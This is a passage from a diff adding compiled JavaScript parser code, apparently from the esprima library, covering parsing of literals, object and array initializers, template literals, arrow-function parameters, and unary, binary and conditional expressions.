+	                this.context.isBindingElement = false;
+	                token = this.nextToken();
+	                raw = this.getTokenRaw(token);
+	                expr = this.finalize(node, new Node.Literal(token.value, raw));
+	                break;
+	            case 1 /* BooleanLiteral */:
+	                this.context.isAssignmentTarget = false;
+	                this.context.isBindingElement = false;
+	                token = this.nextToken();
+	                raw = this.getTokenRaw(token);
+	                expr = this.finalize(node, new Node.Literal(token.value === 'true', raw));
+	                break;
+	            case 5 /* NullLiteral */:
+	                this.context.isAssignmentTarget = false;
+	                this.context.isBindingElement = false;
+	                token = this.nextToken();
+	                raw = this.getTokenRaw(token);
+	                expr = this.finalize(node, new Node.Literal(null, raw));
+	                break;
+	            case 10 /* Template */:
+	                expr = this.parseTemplateLiteral();
+	                break;
+	            case 7 /* Punctuator */:
+	                switch (this.lookahead.value) {
+	                    case '(':
+	                        this.context.isBindingElement = false;
+	                        expr = this.inheritCoverGrammar(this.parseGroupExpression);
+	                        break;
+	                    case '[':
+	                        expr = this.inheritCoverGrammar(this.parseArrayInitializer);
+	                        break;
+	                    case '{':
+	                        expr = this.inheritCoverGrammar(this.parseObjectInitializer);
+	                        break;
+	                    case '/':
+	                    case '/=':
+	                        this.context.isAssignmentTarget = false;
+	                        this.context.isBindingElement = false;
+	                        this.scanner.index = this.startMarker.index;
+	                        token = this.nextRegexToken();
+	                        raw = this.getTokenRaw(token);
+	                        expr = this.finalize(node, new Node.RegexLiteral(token.regex, raw, token.pattern, token.flags));
+	                        break;
+	                    default:
+	                        expr = this.throwUnexpectedToken(this.nextToken());
+	                }
+	                break;
+	            case 4 /* Keyword */:
+	                if (!this.context.strict && this.context.allowYield && this.matchKeyword('yield')) {
+	                    expr = this.parseIdentifierName();
+	                }
+	                else if (!this.context.strict && this.matchKeyword('let')) {
+	                    expr = this.finalize(node, new Node.Identifier(this.nextToken().value));
+	                }
+	                else {
+	                    this.context.isAssignmentTarget = false;
+	                    this.context.isBindingElement = false;
+	                    if (this.matchKeyword('function')) {
+	                        expr = this.parseFunctionExpression();
+	                    }
+	                    else if (this.matchKeyword('this')) {
+	                        this.nextToken();
+	                        expr = this.finalize(node, new Node.ThisExpression());
+	                    }
+	                    else if (this.matchKeyword('class')) {
+	                        expr = this.parseClassExpression();
+	                    }
+	                    else {
+	                        expr = this.throwUnexpectedToken(this.nextToken());
+	                    }
+	                }
+	                break;
+	            default:
+	                expr = this.throwUnexpectedToken(this.nextToken());
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-array-initializer
+	    Parser.prototype.parseSpreadElement = function () {
+	        var node = this.createNode();
+	        this.expect('...');
+	        var arg = this.inheritCoverGrammar(this.parseAssignmentExpression);
+	        return this.finalize(node, new Node.SpreadElement(arg));
+	    };
+	    Parser.prototype.parseArrayInitializer = function () {
+	        var node = this.createNode();
+	        var elements = [];
+	        this.expect('[');
+	        while (!this.match(']')) {
+	            if (this.match(',')) {
+	                this.nextToken();
+	                elements.push(null);
+	            }
+	            else if (this.match('...')) {
+	                var element = this.parseSpreadElement();
+	                if (!this.match(']')) {
+	                    this.context.isAssignmentTarget = false;
+	                    this.context.isBindingElement = false;
+	                    this.expect(',');
+	                }
+	                elements.push(element);
+	            }
+	            else {
+	                elements.push(this.inheritCoverGrammar(this.parseAssignmentExpression));
+	                if (!this.match(']')) {
+	                    this.expect(',');
+	                }
+	            }
+	        }
+	        this.expect(']');
+	        return this.finalize(node, new Node.ArrayExpression(elements));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-object-initializer
+	    Parser.prototype.parsePropertyMethod = function (params) {
+	        this.context.isAssignmentTarget = false;
+	        this.context.isBindingElement = false;
+	        var previousStrict = this.context.strict;
+	        var previousAllowStrictDirective = this.context.allowStrictDirective;
+	        this.context.allowStrictDirective = params.simple;
+	        var body = this.isolateCoverGrammar(this.parseFunctionSourceElements);
+	        if (this.context.strict && params.firstRestricted) {
+	            this.tolerateUnexpectedToken(params.firstRestricted, params.message);
+	        }
+	        if (this.context.strict && params.stricted) {
+	            this.tolerateUnexpectedToken(params.stricted, params.message);
+	        }
+	        this.context.strict = previousStrict;
+	        this.context.allowStrictDirective = previousAllowStrictDirective;
+	        return body;
+	    };
+	    Parser.prototype.parsePropertyMethodFunction = function () {
+	        var isGenerator = false;
+	        var node = this.createNode();
+	        var previousAllowYield = this.context.allowYield;
+	        this.context.allowYield = false;
+	        var params = this.parseFormalParameters();
+	        var method = this.parsePropertyMethod(params);
+	        this.context.allowYield = previousAllowYield;
+	        return this.finalize(node, new Node.FunctionExpression(null, params.params, method, isGenerator));
+	    };
+	    Parser.prototype.parsePropertyMethodAsyncFunction = function () {
+	        var node = this.createNode();
+	        var previousAllowYield = this.context.allowYield;
+	        var previousAwait = this.context.await;
+	        this.context.allowYield = false;
+	        this.context.await = true;
+	        var params = this.parseFormalParameters();
+	        var method = this.parsePropertyMethod(params);
+	        this.context.allowYield = previousAllowYield;
+	        this.context.await = previousAwait;
+	        return this.finalize(node, new Node.AsyncFunctionExpression(null, params.params, method));
+	    };
+	    Parser.prototype.parseObjectPropertyKey = function () {
+	        var node = this.createNode();
+	        var token = this.nextToken();
+	        var key;
+	        switch (token.type) {
+	            case 8 /* StringLiteral */:
+	            case 6 /* NumericLiteral */:
+	                if (this.context.strict && token.octal) {
+	                    this.tolerateUnexpectedToken(token, messages_1.Messages.StrictOctalLiteral);
+	                }
+	                var raw = this.getTokenRaw(token);
+	                key = this.finalize(node, new Node.Literal(token.value, raw));
+	                break;
+	            case 3 /* Identifier */:
+	            case 1 /* BooleanLiteral */:
+	            case 5 /* NullLiteral */:
+	            case 4 /* Keyword */:
+	                key = this.finalize(node, new Node.Identifier(token.value));
+	                break;
+	            case 7 /* Punctuator */:
+	                if (token.value === '[') {
+	                    key = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	                    this.expect(']');
+	                }
+	                else {
+	                    key = this.throwUnexpectedToken(token);
+	                }
+	                break;
+	            default:
+	                key = this.throwUnexpectedToken(token);
+	        }
+	        return key;
+	    };
+	    Parser.prototype.isPropertyKey = function (key, value) {
+	        return (key.type === syntax_1.Syntax.Identifier && key.name === value) ||
+	            (key.type === syntax_1.Syntax.Literal && key.value === value);
+	    };
+	    Parser.prototype.parseObjectProperty = function (hasProto) {
+	        var node = this.createNode();
+	        var token = this.lookahead;
+	        var kind;
+	        var key = null;
+	        var value = null;
+	        var computed = false;
+	        var method = false;
+	        var shorthand = false;
+	        var isAsync = false;
+	        if (token.type === 3 /* Identifier */) {
+	            var id = token.value;
+	            this.nextToken();
+	            computed = this.match('[');
+	            isAsync = !this.hasLineTerminator && (id === 'async') &&
+	                !this.match(':') && !this.match('(') && !this.match('*');
+	            key = isAsync ? this.parseObjectPropertyKey() : this.finalize(node, new Node.Identifier(id));
+	        }
+	        else if (this.match('*')) {
+	            this.nextToken();
+	        }
+	        else {
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	        }
+	        var lookaheadPropertyKey = this.qualifiedPropertyName(this.lookahead);
+	        if (token.type === 3 /* Identifier */ && !isAsync && token.value === 'get' && lookaheadPropertyKey) {
+	            kind = 'get';
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	            this.context.allowYield = false;
+	            value = this.parseGetterMethod();
+	        }
+	        else if (token.type === 3 /* Identifier */ && !isAsync && token.value === 'set' && lookaheadPropertyKey) {
+	            kind = 'set';
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	            value = this.parseSetterMethod();
+	        }
+	        else if (token.type === 7 /* Punctuator */ && token.value === '*' && lookaheadPropertyKey) {
+	            kind = 'init';
+	            computed = this.match('[');
+	            key = this.parseObjectPropertyKey();
+	            value = this.parseGeneratorMethod();
+	            method = true;
+	        }
+	        else {
+	            if (!key) {
+	                this.throwUnexpectedToken(this.lookahead);
+	            }
+	            kind = 'init';
+	            if (this.match(':') && !isAsync) {
+	                if (!computed && this.isPropertyKey(key, '__proto__')) {
+	                    if (hasProto.value) {
+	                        this.tolerateError(messages_1.Messages.DuplicateProtoProperty);
+	                    }
+	                    hasProto.value = true;
+	                }
+	                this.nextToken();
+	                value = this.inheritCoverGrammar(this.parseAssignmentExpression);
+	            }
+	            else if (this.match('(')) {
+	                value = isAsync ? this.parsePropertyMethodAsyncFunction() : this.parsePropertyMethodFunction();
+	                method = true;
+	            }
+	            else if (token.type === 3 /* Identifier */) {
+	                var id = this.finalize(node, new Node.Identifier(token.value));
+	                if (this.match('=')) {
+	                    this.context.firstCoverInitializedNameError = this.lookahead;
+	                    this.nextToken();
+	                    shorthand = true;
+	                    var init = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	                    value = this.finalize(node, new Node.AssignmentPattern(id, init));
+	                }
+	                else {
+	                    shorthand = true;
+	                    value = id;
+	                }
+	            }
+	            else {
+	                this.throwUnexpectedToken(this.nextToken());
+	            }
+	        }
+	        return this.finalize(node, new Node.Property(kind, key, computed, value, method, shorthand));
+	    };
+	    Parser.prototype.parseObjectInitializer = function () {
+	        var node = this.createNode();
+	        this.expect('{');
+	        var properties = [];
+	        var hasProto = { value: false };
+	        while (!this.match('}')) {
+	            properties.push(this.parseObjectProperty(hasProto));
+	            if (!this.match('}')) {
+	                this.expectCommaSeparator();
+	            }
+	        }
+	        this.expect('}');
+	        return this.finalize(node, new Node.ObjectExpression(properties));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-template-literals
+	    Parser.prototype.parseTemplateHead = function () {
+	        assert_1.assert(this.lookahead.head, 'Template literal must start with a template head');
+	        var node = this.createNode();
+	        var token = this.nextToken();
+	        var raw = token.value;
+	        var cooked = token.cooked;
+	        return this.finalize(node, new Node.TemplateElement({ raw: raw, cooked: cooked }, token.tail));
+	    };
+	    Parser.prototype.parseTemplateElement = function () {
+	        if (this.lookahead.type !== 10 /* Template */) {
+	            this.throwUnexpectedToken();
+	        }
+	        var node = this.createNode();
+	        var token = this.nextToken();
+	        var raw = token.value;
+	        var cooked = token.cooked;
+	        return this.finalize(node, new Node.TemplateElement({ raw: raw, cooked: cooked }, token.tail));
+	    };
+	    Parser.prototype.parseTemplateLiteral = function () {
+	        var node = this.createNode();
+	        var expressions = [];
+	        var quasis = [];
+	        var quasi = this.parseTemplateHead();
+	        quasis.push(quasi);
+	        while (!quasi.tail) {
+	            expressions.push(this.parseExpression());
+	            quasi = this.parseTemplateElement();
+	            quasis.push(quasi);
+	        }
+	        return this.finalize(node, new Node.TemplateLiteral(quasis, expressions));
+	    };
+	    // https://tc39.github.io/ecma262/#sec-grouping-operator
+	    Parser.prototype.reinterpretExpressionAsPattern = function (expr) {
+	        switch (expr.type) {
+	            case syntax_1.Syntax.Identifier:
+	            case syntax_1.Syntax.MemberExpression:
+	            case syntax_1.Syntax.RestElement:
+	            case syntax_1.Syntax.AssignmentPattern:
+	                break;
+	            case syntax_1.Syntax.SpreadElement:
+	                expr.type = syntax_1.Syntax.RestElement;
+	                this.reinterpretExpressionAsPattern(expr.argument);
+	                break;
+	            case syntax_1.Syntax.ArrayExpression:
+	                expr.type = syntax_1.Syntax.ArrayPattern;
+	                for (var i = 0; i < expr.elements.length; i++) {
+	                    if (expr.elements[i] !== null) {
+	                        this.reinterpretExpressionAsPattern(expr.elements[i]);
+	                    }
+	                }
+	                break;
+	            case syntax_1.Syntax.ObjectExpression:
+	                expr.type = syntax_1.Syntax.ObjectPattern;
+	                for (var i = 0; i < expr.properties.length; i++) {
+	                    this.reinterpretExpressionAsPattern(expr.properties[i].value);
+	                }
+	                break;
+	            case syntax_1.Syntax.AssignmentExpression:
+	                expr.type = syntax_1.Syntax.AssignmentPattern;
+	                delete expr.operator;
+	                this.reinterpretExpressionAsPattern(expr.left);
+	                break;
+	            default:
+	                // Allow other node type for tolerant parsing.
+	                break;
+	        }
+	    };
+	    Parser.prototype.parseGroupExpression = function () {
+	        var expr;
+	        this.expect('(');
+	        if (this.match(')')) {
+	            this.nextToken();
+	            if (!this.match('=>')) {
+	                this.expect('=>');
+	            }
+	            expr = {
+	                type: ArrowParameterPlaceHolder,
+	                params: [],
+	                async: false
+	            };
+	        }
+	        else {
+	            var startToken = this.lookahead;
+	            var params = [];
+	            if (this.match('...')) {
+	                expr = this.parseRestElement(params);
+	                this.expect(')');
+	                if (!this.match('=>')) {
+	                    this.expect('=>');
+	                }
+	                expr = {
+	                    type: ArrowParameterPlaceHolder,
+	                    params: [expr],
+	                    async: false
+	                };
+	            }
+	            else {
+	                var arrow = false;
+	                this.context.isBindingElement = true;
+	                expr = this.inheritCoverGrammar(this.parseAssignmentExpression);
+	                if (this.match(',')) {
+	                    var expressions = [];
+	                    this.context.isAssignmentTarget = false;
+	                    expressions.push(expr);
+	                    while (this.lookahead.type !== 2 /* EOF */) {
+	                        if (!this.match(',')) {
+	                            break;
+	                        }
+	                        this.nextToken();
+	                        if (this.match(')')) {
+	                            this.nextToken();
+	                            for (var i = 0; i < expressions.length; i++) {
+	                                this.reinterpretExpressionAsPattern(expressions[i]);
+	                            }
+	                            arrow = true;
+	                            expr = {
+	                                type: ArrowParameterPlaceHolder,
+	                                params: expressions,
+	                                async: false
+	                            };
+	                        }
+	                        else if (this.match('...')) {
+	                            if (!this.context.isBindingElement) {
+	                                this.throwUnexpectedToken(this.lookahead);
+	                            }
+	                            expressions.push(this.parseRestElement(params));
+	                            this.expect(')');
+	                            if (!this.match('=>')) {
+	                                this.expect('=>');
+	                            }
+	                            this.context.isBindingElement = false;
+	                            for (var i = 0; i < expressions.length; i++) {
+	                                this.reinterpretExpressionAsPattern(expressions[i]);
+	                            }
+	                            arrow = true;
+	                            expr = {
+	                                type: ArrowParameterPlaceHolder,
+	                                params: expressions,
+	                                async: false
+	                            };
+	                        }
+	                        else {
+	                            expressions.push(this.inheritCoverGrammar(this.parseAssignmentExpression));
+	                        }
+	                        if (arrow) {
+	                            break;
+	                        }
+	                    }
+	                    if (!arrow) {
+	                        expr = this.finalize(this.startNode(startToken), new Node.SequenceExpression(expressions));
+	                    }
+	                }
+	                if (!arrow) {
+	                    this.expect(')');
+	                    if (this.match('=>')) {
+	                        if (expr.type === syntax_1.Syntax.Identifier && expr.name === 'yield') {
+	                            arrow = true;
+	                            expr = {
+	                                type: ArrowParameterPlaceHolder,
+	                                params: [expr],
+	                                async: false
+	                            };
+	                        }
+	                        if (!arrow) {
+	                            if (!this.context.isBindingElement) {
+	                                this.throwUnexpectedToken(this.lookahead);
+	                            }
+	                            if (expr.type === syntax_1.Syntax.SequenceExpression) {
+	                                for (var i = 0; i < expr.expressions.length; i++) {
+	                                    this.reinterpretExpressionAsPattern(expr.expressions[i]);
+	                                }
+	                            }
+	                            else {
+	                                this.reinterpretExpressionAsPattern(expr);
+	                            }
+	                            var parameters = (expr.type === syntax_1.Syntax.SequenceExpression ? expr.expressions : [expr]);
+	                            expr = {
+	                                type: ArrowParameterPlaceHolder,
+	                                params: parameters,
+	                                async: false
+	                            };
+	                        }
+	                    }
+	                    this.context.isBindingElement = false;
+	                }
+	            }
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-left-hand-side-expressions
+	    Parser.prototype.parseArguments = function () {
+	        this.expect('(');
+	        var args = [];
+	        if (!this.match(')')) {
+	            while (true) {
+	                var expr = this.match('...') ? this.parseSpreadElement() :
+	                    this.isolateCoverGrammar(this.parseAssignmentExpression);
+	                args.push(expr);
+	                if (this.match(')')) {
+	                    break;
+	                }
+	                this.expectCommaSeparator();
+	                if (this.match(')')) {
+	                    break;
+	                }
+	            }
+	        }
+	        this.expect(')');
+	        return args;
+	    };
+	    Parser.prototype.isIdentifierName = function (token) {
+	        return token.type === 3 /* Identifier */ ||
+	            token.type === 4 /* Keyword */ ||
+	            token.type === 1 /* BooleanLiteral */ ||
+	            token.type === 5 /* NullLiteral */;
+	    };
+	    Parser.prototype.parseIdentifierName = function () {
+	        var node = this.createNode();
+	        var token = this.nextToken();
+	        if (!this.isIdentifierName(token)) {
+	            this.throwUnexpectedToken(token);
+	        }
+	        return this.finalize(node, new Node.Identifier(token.value));
+	    };
+	    Parser.prototype.parseNewExpression = function () {
+	        var node = this.createNode();
+	        var id = this.parseIdentifierName();
+	        assert_1.assert(id.name === 'new', 'New expression must start with `new`');
+	        var expr;
+	        if (this.match('.')) {
+	            this.nextToken();
+	            if (this.lookahead.type === 3 /* Identifier */ && this.context.inFunctionBody && this.lookahead.value === 'target') {
+	                var property = this.parseIdentifierName();
+	                expr = new Node.MetaProperty(id, property);
+	            }
+	            else {
+	                this.throwUnexpectedToken(this.lookahead);
+	            }
+	        }
+	        else {
+	            var callee = this.isolateCoverGrammar(this.parseLeftHandSideExpression);
+	            var args = this.match('(') ? this.parseArguments() : [];
+	            expr = new Node.NewExpression(callee, args);
+	            this.context.isAssignmentTarget = false;
+	            this.context.isBindingElement = false;
+	        }
+	        return this.finalize(node, expr);
+	    };
+	    Parser.prototype.parseAsyncArgument = function () {
+	        var arg = this.parseAssignmentExpression();
+	        this.context.firstCoverInitializedNameError = null;
+	        return arg;
+	    };
+	    Parser.prototype.parseAsyncArguments = function () {
+	        this.expect('(');
+	        var args = [];
+	        if (!this.match(')')) {
+	            while (true) {
+	                var expr = this.match('...') ? this.parseSpreadElement() :
+	                    this.isolateCoverGrammar(this.parseAsyncArgument);
+	                args.push(expr);
+	                if (this.match(')')) {
+	                    break;
+	                }
+	                this.expectCommaSeparator();
+	                if (this.match(')')) {
+	                    break;
+	                }
+	            }
+	        }
+	        this.expect(')');
+	        return args;
+	    };
+	    Parser.prototype.parseLeftHandSideExpressionAllowCall = function () {
+	        var startToken = this.lookahead;
+	        var maybeAsync = this.matchContextualKeyword('async');
+	        var previousAllowIn = this.context.allowIn;
+	        this.context.allowIn = true;
+	        var expr;
+	        if (this.matchKeyword('super') && this.context.inFunctionBody) {
+	            expr = this.createNode();
+	            this.nextToken();
+	            expr = this.finalize(expr, new Node.Super());
+	            if (!this.match('(') && !this.match('.') && !this.match('[')) {
+	                this.throwUnexpectedToken(this.lookahead);
+	            }
+	        }
+	        else {
+	            expr = this.inheritCoverGrammar(this.matchKeyword('new') ? this.parseNewExpression : this.parsePrimaryExpression);
+	        }
+	        while (true) {
+	            if (this.match('.')) {
+	                this.context.isBindingElement = false;
+	                this.context.isAssignmentTarget = true;
+	                this.expect('.');
+	                var property = this.parseIdentifierName();
+	                expr = this.finalize(this.startNode(startToken), new Node.StaticMemberExpression(expr, property));
+	            }
+	            else if (this.match('(')) {
+	                var asyncArrow = maybeAsync && (startToken.lineNumber === this.lookahead.lineNumber);
+	                this.context.isBindingElement = false;
+	                this.context.isAssignmentTarget = false;
+	                var args = asyncArrow ? this.parseAsyncArguments() : this.parseArguments();
+	                expr = this.finalize(this.startNode(startToken), new Node.CallExpression(expr, args));
+	                if (asyncArrow && this.match('=>')) {
+	                    for (var i = 0; i < args.length; ++i) {
+	                        this.reinterpretExpressionAsPattern(args[i]);
+	                    }
+	                    expr = {
+	                        type: ArrowParameterPlaceHolder,
+	                        params: args,
+	                        async: true
+	                    };
+	                }
+	            }
+	            else if (this.match('[')) {
+	                this.context.isBindingElement = false;
+	                this.context.isAssignmentTarget = true;
+	                this.expect('[');
+	                var property = this.isolateCoverGrammar(this.parseExpression);
+	                this.expect(']');
+	                expr = this.finalize(this.startNode(startToken), new Node.ComputedMemberExpression(expr, property));
+	            }
+	            else if (this.lookahead.type === 10 /* Template */ && this.lookahead.head) {
+	                var quasi = this.parseTemplateLiteral();
+	                expr = this.finalize(this.startNode(startToken), new Node.TaggedTemplateExpression(expr, quasi));
+	            }
+	            else {
+	                break;
+	            }
+	        }
+	        this.context.allowIn = previousAllowIn;
+	        return expr;
+	    };
+	    Parser.prototype.parseSuper = function () {
+	        var node = this.createNode();
+	        this.expectKeyword('super');
+	        if (!this.match('[') && !this.match('.')) {
+	            this.throwUnexpectedToken(this.lookahead);
+	        }
+	        return this.finalize(node, new Node.Super());
+	    };
+	    Parser.prototype.parseLeftHandSideExpression = function () {
+	        assert_1.assert(this.context.allowIn, 'callee of new expression always allow in keyword.');
+	        var node = this.startNode(this.lookahead);
+	        var expr = (this.matchKeyword('super') && this.context.inFunctionBody) ? this.parseSuper() :
+	            this.inheritCoverGrammar(this.matchKeyword('new') ? this.parseNewExpression : this.parsePrimaryExpression);
+	        while (true) {
+	            if (this.match('[')) {
+	                this.context.isBindingElement = false;
+	                this.context.isAssignmentTarget = true;
+	                this.expect('[');
+	                var property = this.isolateCoverGrammar(this.parseExpression);
+	                this.expect(']');
+	                expr = this.finalize(node, new Node.ComputedMemberExpression(expr, property));
+	            }
+	            else if (this.match('.')) {
+	                this.context.isBindingElement = false;
+	                this.context.isAssignmentTarget = true;
+	                this.expect('.');
+	                var property = this.parseIdentifierName();
+	                expr = this.finalize(node, new Node.StaticMemberExpression(expr, property));
+	            }
+	            else if (this.lookahead.type === 10 /* Template */ && this.lookahead.head) {
+	                var quasi = this.parseTemplateLiteral();
+	                expr = this.finalize(node, new Node.TaggedTemplateExpression(expr, quasi));
+	            }
+	            else {
+	                break;
+	            }
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-update-expressions
+	    Parser.prototype.parseUpdateExpression = function () {
+	        var expr;
+	        var startToken = this.lookahead;
+	        if (this.match('++') || this.match('--')) {
+	            var node = this.startNode(startToken);
+	            var token = this.nextToken();
+	            expr = this.inheritCoverGrammar(this.parseUnaryExpression);
+	            if (this.context.strict && expr.type === syntax_1.Syntax.Identifier && this.scanner.isRestrictedWord(expr.name)) {
+	                this.tolerateError(messages_1.Messages.StrictLHSPrefix);
+	            }
+	            if (!this.context.isAssignmentTarget) {
+	                this.tolerateError(messages_1.Messages.InvalidLHSInAssignment);
+	            }
+	            var prefix = true;
+	            expr = this.finalize(node, new Node.UpdateExpression(token.value, expr, prefix));
+	            this.context.isAssignmentTarget = false;
+	            this.context.isBindingElement = false;
+	        }
+	        else {
+	            expr = this.inheritCoverGrammar(this.parseLeftHandSideExpressionAllowCall);
+	            if (!this.hasLineTerminator && this.lookahead.type === 7 /* Punctuator */) {
+	                if (this.match('++') || this.match('--')) {
+	                    if (this.context.strict && expr.type === syntax_1.Syntax.Identifier && this.scanner.isRestrictedWord(expr.name)) {
+	                        this.tolerateError(messages_1.Messages.StrictLHSPostfix);
+	                    }
+	                    if (!this.context.isAssignmentTarget) {
+	                        this.tolerateError(messages_1.Messages.InvalidLHSInAssignment);
+	                    }
+	                    this.context.isAssignmentTarget = false;
+	                    this.context.isBindingElement = false;
+	                    var operator = this.nextToken().value;
+	                    var prefix = false;
+	                    expr = this.finalize(this.startNode(startToken), new Node.UpdateExpression(operator, expr, prefix));
+	                }
+	            }
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-unary-operators
+	    Parser.prototype.parseAwaitExpression = function () {
+	        var node = this.createNode();
+	        this.nextToken();
+	        var argument = this.parseUnaryExpression();
+	        return this.finalize(node, new Node.AwaitExpression(argument));
+	    };
+	    Parser.prototype.parseUnaryExpression = function () {
+	        var expr;
+	        if (this.match('+') || this.match('-') || this.match('~') || this.match('!') ||
+	            this.matchKeyword('delete') || this.matchKeyword('void') || this.matchKeyword('typeof')) {
+	            var node = this.startNode(this.lookahead);
+	            var token = this.nextToken();
+	            expr = this.inheritCoverGrammar(this.parseUnaryExpression);
+	            expr = this.finalize(node, new Node.UnaryExpression(token.value, expr));
+	            if (this.context.strict && expr.operator === 'delete' && expr.argument.type === syntax_1.Syntax.Identifier) {
+	                this.tolerateError(messages_1.Messages.StrictDelete);
+	            }
+	            this.context.isAssignmentTarget = false;
+	            this.context.isBindingElement = false;
+	        }
+	        else if (this.context.await && this.matchContextualKeyword('await')) {
+	            expr = this.parseAwaitExpression();
+	        }
+	        else {
+	            expr = this.parseUpdateExpression();
+	        }
+	        return expr;
+	    };
+	    Parser.prototype.parseExponentiationExpression = function () {
+	        var startToken = this.lookahead;
+	        var expr = this.inheritCoverGrammar(this.parseUnaryExpression);
+	        if (expr.type !== syntax_1.Syntax.UnaryExpression && this.match('**')) {
+	            this.nextToken();
+	            this.context.isAssignmentTarget = false;
+	            this.context.isBindingElement = false;
+	            var left = expr;
+	            var right = this.isolateCoverGrammar(this.parseExponentiationExpression);
+	            expr = this.finalize(this.startNode(startToken), new Node.BinaryExpression('**', left, right));
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-exp-operator
+	    // https://tc39.github.io/ecma262/#sec-multiplicative-operators
+	    // https://tc39.github.io/ecma262/#sec-additive-operators
+	    // https://tc39.github.io/ecma262/#sec-bitwise-shift-operators
+	    // https://tc39.github.io/ecma262/#sec-relational-operators
+	    // https://tc39.github.io/ecma262/#sec-equality-operators
+	    // https://tc39.github.io/ecma262/#sec-binary-bitwise-operators
+	    // https://tc39.github.io/ecma262/#sec-binary-logical-operators
+	    Parser.prototype.binaryPrecedence = function (token) {
+	        var op = token.value;
+	        var precedence;
+	        if (token.type === 7 /* Punctuator */) {
+	            precedence = this.operatorPrecedence[op] || 0;
+	        }
+	        else if (token.type === 4 /* Keyword */) {
+	            precedence = (op === 'instanceof' || (this.context.allowIn && op === 'in')) ? 7 : 0;
+	        }
+	        else {
+	            precedence = 0;
+	        }
+	        return precedence;
+	    };
+	    Parser.prototype.parseBinaryExpression = function () {
+	        var startToken = this.lookahead;
+	        var expr = this.inheritCoverGrammar(this.parseExponentiationExpression);
+	        var token = this.lookahead;
+	        var prec = this.binaryPrecedence(token);
+	        if (prec > 0) {
+	            this.nextToken();
+	            this.context.isAssignmentTarget = false;
+	            this.context.isBindingElement = false;
+	            var markers = [startToken, this.lookahead];
+	            var left = expr;
+	            var right = this.isolateCoverGrammar(this.parseExponentiationExpression);
+	            var stack = [left, token.value, right];
+	            var precedences = [prec];
+	            while (true) {
+	                prec = this.binaryPrecedence(this.lookahead);
+	                if (prec <= 0) {
+	                    break;
+	                }
+	                // Reduce: make a binary expression from the three topmost entries.
+	                while ((stack.length > 2) && (prec <= precedences[precedences.length - 1])) {
+	                    right = stack.pop();
+	                    var operator = stack.pop();
+	                    precedences.pop();
+	                    left = stack.pop();
+	                    markers.pop();
+	                    var node = this.startNode(markers[markers.length - 1]);
+	                    stack.push(this.finalize(node, new Node.BinaryExpression(operator, left, right)));
+	                }
+	                // Shift.
+	                stack.push(this.nextToken().value);
+	                precedences.push(prec);
+	                markers.push(this.lookahead);
+	                stack.push(this.isolateCoverGrammar(this.parseExponentiationExpression));
+	            }
+	            // Final reduce to clean-up the stack.
+	            var i = stack.length - 1;
+	            expr = stack[i];
+	            markers.pop();
+	            while (i > 1) {
+	                var node = this.startNode(markers.pop());
+	                var operator = stack[i - 1];
+	                expr = this.finalize(node, new Node.BinaryExpression(operator, stack[i - 2], expr));
+	                i -= 2;
+	            }
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-conditional-operator
+	    Parser.prototype.parseConditionalExpression = function () {
+	        var startToken = this.lookahead;
+	        var expr = this.inheritCoverGrammar(this.parseBinaryExpression);
+	        if (this.match('?')) {
+	            this.nextToken();
+	            var previousAllowIn = this.context.allowIn;
+	            this.context.allowIn = true;
+	            var consequent = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	            this.context.allowIn = previousAllowIn;
+	            this.expect(':');
+	            var alternate = this.isolateCoverGrammar(this.parseAssignmentExpression);
+	            expr = this.finalize(this.startNode(startToken), new Node.ConditionalExpression(expr, consequent, alternate));
+	            this.context.isAssignmentTarget = false;
+	            this.context.isBindingElement = false;
+	        }
+	        return expr;
+	    };
+	    // https://tc39.github.io/ecma262/#sec-assignment-operators
+	    Parser.prototype.checkPatternParam = function (options, param) {
+	        switch (param.type) {
+	            case syntax_1.Syntax.Identifier:
+	                this.validateParam(options, param, param.name);
+	                break;
+	            case syntax_1.Syntax.RestElement:
+	                this.checkPatternParam(options, param.argument);
+	                break;
+	            case syntax_1.Syntax.AssignmentPattern:
+	                this.checkPatternParam(options, param.left);
+	                break;
+	            case syntax_1.Syntax.ArrayPattern:
+	                for (var i = 0; i < param.elements.length; i++) {
+	                    if (param.elements[i] !== null) {
+	                        this.checkPatternParam(options, param.elements[i]);
+	                    }
+	                }
+	                break;
+	            case syntax_1.Syntax.ObjectPattern:
+	                for (var i = 0; i < param.properties.length; i++) {
+	                    this.checkPatternParam(options, param.properties[i].value);
+	                }
+	                break;
+	            default:
+	                break;
+	        }
+	        options.simple = options.simple && (param instanceof Node.Identifier);
+	    };
+	    Parser.prototype.reinterpretAsCoverFormalsList = function (expr) {
+	        var params = [expr];
+	        var options;
+	        var asyncArrow = false;
+	        switch (expr.type) {
+	            case syntax_1.Syntax.Identifier:
+	                break;
+	            case ArrowParameterPlaceHolder:
+	                params = expr.params;
+	                asyncArrow = expr.async;
+	                break;
+	            default:
+	                return null;
+	        }
+	        options = {
+	            simple: true,
+	            paramSet: {}
+	        };
+	        for (var i = 0; i < params.length; ++i) {
+	            var param = params[i];
+	            if (param.type === syntax_1.Syntax.AssignmentPattern) {
+	                if (param.right.type === syntax_1.Syntax.YieldExpression) {
+	                    if (param.right.argument) {
+	                        this.throwUnexpectedToken(this.lookahead);
+	                    }
+	                    param.right.type = syntax_1.Syntax.Identifier;
+	                    param.right.name = 'yield';
+	                    delete param.right.argument;
+	                    delete param.right.delegate;
+	                }
+	            }
+	            else if (asyncArrow && param.type === syntax_1.Syntax.Identifier && param.name === 'await') {
+	                this.throwUnexpectedToken(this.lookahead);
+	            }
+	            this.checkPatternParam(options, param);
+	            params[i] = param;
+	        }
+	        if (this.context.strict || !this.context.allowYield) {
+	            for (var i = 0; i < params.length; ++i) {
+	                var param = params[i];
+	                if (param.type === syntax_1.Syntax.YieldExpression) {
